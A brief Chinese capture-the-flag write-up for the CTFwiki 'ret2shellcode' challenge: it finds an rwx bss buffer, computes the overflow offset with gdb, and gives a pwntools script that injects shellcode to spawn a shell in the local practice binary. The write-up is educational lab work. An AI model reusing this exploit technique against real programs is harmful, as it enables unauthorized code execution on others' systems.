[WP]CTFwiki-shellcode

1.运行程序,没有提供 system ,32位程序,基本未开保护

2.IDA中发现 strncpy() 函数将我们输入的 v4 复制到 bss 段的 buf2 处

 3.经过 gdb 查看 buf2 处的代码是具有 rwx 属性的,因此我们可以构造一段 shellcode 然后执行此处的代码。

 

 4.查看 esp 和 ebp 来计算覆盖长度

5.构造exp

#!/usr/bin/env python
from pwn import *

#EBP: 0xffffd158 --> 0x0 
#ESP: 0xffffd0d0 --> 0xffffd0ec --> 0xf7ffd000 --> 0x26f34 

sh = process('./ret2shellcode')
buf_addr = 0x0804A080
payload = asm(shellcraft.sh())
#sh.recvuntil()
length = 0x158 - 0xec + 4
sh.sendline(payload.ljust(length, 'a') + p32(buf_addr))
sh.interactive()

原文地址:https://www.cnblogs.com/Tsuiyields/p/11877354.html